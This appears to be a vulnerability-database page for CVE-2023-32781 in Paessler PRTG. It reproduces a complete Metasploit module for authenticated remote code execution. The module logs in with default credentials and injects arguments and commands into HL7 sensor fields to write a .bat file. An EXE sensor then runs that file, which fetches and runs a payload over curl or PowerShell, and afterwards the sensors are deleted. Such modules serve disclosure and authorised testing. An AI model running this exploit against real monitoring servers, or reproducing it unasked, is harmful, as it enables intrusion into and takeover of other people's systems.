| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| PRTG Authenticated Remote Code Execution Exploit | 24 Jan 202400:00 | – | zdt | |
| CVE-2023-32781 | 9 Aug 202312:15 | – | attackerkb | |
| CVE-2023-32781 | 9 Aug 202318:08 | – | circl | |
| Paessler PRTG Network Monitor Command Injection Vulnerability | 9 Aug 202300:00 | – | cnnvd | |
| CVE-2023-32781 | 9 Aug 202300:00 | – | cve | |
| CVE-2023-32781 | 9 Aug 202300:00 | – | cvelist | |
| PRTG CVE-2023-32781 Authenticated RCE | 22 Jan 202419:50 | – | metasploit | |
| CVE-2023-32781 | 9 Aug 202312:15 | – | nvd | |
| CVE-2023-32781 | 9 Aug 202312:15 | – | osv | |
| Command injection | 9 Aug 202312:15 | – | prion |
`class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',
'Description' => %q{
Authenticated RCE in Paessler PRTG
},
'License' => MSF_LICENSE,
'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'],
'References' => [
[ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],
[ 'CVE', '2023-32781']
],
'DisclosureDate' => '2023-08-09',
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Windows_Fetch',
{
'Arch' => [ ARCH_CMD ],
'Platform' => 'win',
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
'Type' => :win_fetch
}
],
[
'Windows_CMDStager',
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'Type' => :win_cmdstager,
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new(
'USERNAME',
[ true, 'The username to authenticate with', 'prtgadmin' ]
),
OptString.new(
'PASSWORD',
[ true, 'The password to authenticate with', 'prtgadmin' ]
),
OptString.new(
'TARGETURI',
[ true, 'The URI for the PRTG web interface', '/' ]
)
]
)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], '/index.htm')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
ensure
disconnect
end
if res && res.code == 200
prtg_server_header = res.headers['Server']
if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
return CheckCode::Detected
end
end
return CheckCode::Unknown
end
def exploit
@sensors_to_delete = []
connect
case target['Type']
when :win_cmdstager
execute_cmdstager
when :win_fetch
execute_command(payload.encoded)
end
end
def on_new_session(client)
super
@sensors_to_delete.each do |sensor_id|
delete_sensor_by_id(sensor_id)
end
print_good('Session created')
end
def execute_command(cmd, _opts = {})
print_status('Running PRTG RCE exploit')
authenticate_prtg
bat_file_name = write_bat_file_to_disk(cmd)
run_bat_file_from_disk(bat_file_name)
print_status('Exploit done')
handler
end
def authenticate_prtg
print_status('Authenticating against PRTG')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'),
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302 && res.get_cookies
print_good('Successfully authenticated against PRTG')
else
fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')
end
end
def get_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'welcome.htm'),
'keep_cookies' => true
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Page with CSRF token not available')
end
regex = /csrf-token" content="([^"]+)"/
token = res.body[regex, 1]
print_status("Extracted csrf token: #{token}")
token
end
def delete_sensor_by_id(sensor_id)
print_status("Deleting sensor #{sensor_id}")
csrf_token = get_csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'),
'keep_cookies' => true,
'headers' => {
'anti-csrf-token' => csrf_token,
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
id: sensor_id,
approve: 1
}
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Sensor deletion failed')
end
end
def get_created_sensor_id(sensor_name)
print_status('Fetching created sensor id')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'),
'keep_cookies' => true,
'vars_get' => {
'id' => 40
}
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Page with sensorid not available')
end
regex = /id=([0-9]+)">#{sensor_name}/
sensor_id = res.body[regex, 1]
print_status("Extracted sensor_id: #{sensor_id}")
sensor_id
end
def run_sensor_with_id(sensor_id)
csrf_token = get_csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),
'keep_cookies' => true,
'headers' => {
'anti-csrf-token' => csrf_token,
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
id: sensor_id
}
})
if res && res.code == 200
print_good('Sensor started running')
else
fail_with(Failure::NoAccess, 'Failure to run sensor')
end
end
def write_bat_file_to_disk(cmd)
# Uses the HL7Sensor for writing a .bat file to the disk
cmd = cmd.gsub! '\\', '\\\\\\'
print_status('Writing .bat to disk')
csrf_token = get_csrf_token
# Generate a random sensor name
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"
# Clean up the .bat file
cmd = "#{cmd} & del %0"
print_status("Generated sensor_name #{sensor_name}")
print_status("Generated bat_file_name #{bat_file_name}")
params = {
'name_' => sensor_name,
'parenttags_' => '',
'tags_' => 'dicom hl7',
'priority_' => '3',
'port_' => '104',
'timeout_' => '60',
'override_' => '0',
'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5),
'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5),
'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5),
'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}",
'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",
'hl7filename' => '',
'intervalgroup' => ['0', '1'],
'interval_' => '60|60 seconds',
'errorintervalsdown_' => '1',
'inherittriggers' => '1',
'id' => '40',
'sensortype' => 'hl7',
'tmpid' => '2',
'anti-csrf-token' => csrf_token
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
'keep_cookies' => true,
'vars_post' => params
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302
print_good('HL7 Sensor succesfully created')
else
fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')
end
# Actually creating the sensor can take 1-2 seconds
print_status('Checking for sensor creation')
sensor_id = retry_until_truthy(timeout: 10) do
get_created_sensor_id(sensor_name)
end
print_status('Requesting HL7 Sensor to initiate scan')
run_sensor_with_id(sensor_id)
@sensors_to_delete.push(sensor_id)
print_good('.bat file written to disk')
bat_file_name
end
def run_bat_file_from_disk(bat_file_name)
print_status("Running the .bat file: #{bat_file_name}")
csrf_token = get_csrf_token
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
params = {
'name_' => sensor_name,
'parenttags_' => '',
'tags_' => 'exesensor',
'priority_' => '3',
'scriptplaceholdergroup' => '1',
'scriptplaceholder1description_' => '',
'scriptplaceholder1_' => '',
'scriptplaceholder2description_' => '',
'scriptplaceholder2_' => '',
'scriptplaceholder3description_' => '',
'scriptplaceholder3_' => '',
'scriptplaceholder4description_' => '',
'scriptplaceholder4_' => '',
'scriptplaceholder5description_' => '',
'scriptplaceholder5_' => '',
'exefile_' => "#{bat_file_name}|#{bat_file_name}||",
'exefilelabel' => '',
'exeparams_' => '',
'environment_' => '0',
'usewindowsauthentication_' => '0',
'mutexname_' => '',
'timeout_' => '60',
'valuetype_' => '0',
'channel_' => 'Value',
'unit_' => '#',
'monitorchange_' => '0',
'writeresult_' => '0',
'intervalgroup' => '0',
'interval_' => '43200|12 hours',
'errorintervalsdown_' => '1',
'inherittriggers' => '1',
'id' => '40',
'sensortype' => 'exe',
'tmpid' => '6',
'anti-csrf-token' => csrf_token
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),
'keep_cookies' => true,
'vars_post' => params
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302
print_status('EXE Script sensor created')
else
fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')
end
print_status('Checking for sensor creation')
sensor_id = retry_until_truthy(timeout: 10) do
get_created_sensor_id(sensor_name)
end
run_sensor_with_id(sensor_id)
@sensors_to_delete.push(sensor_id)
print_good('Exploit completed. Waiting for payload')
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation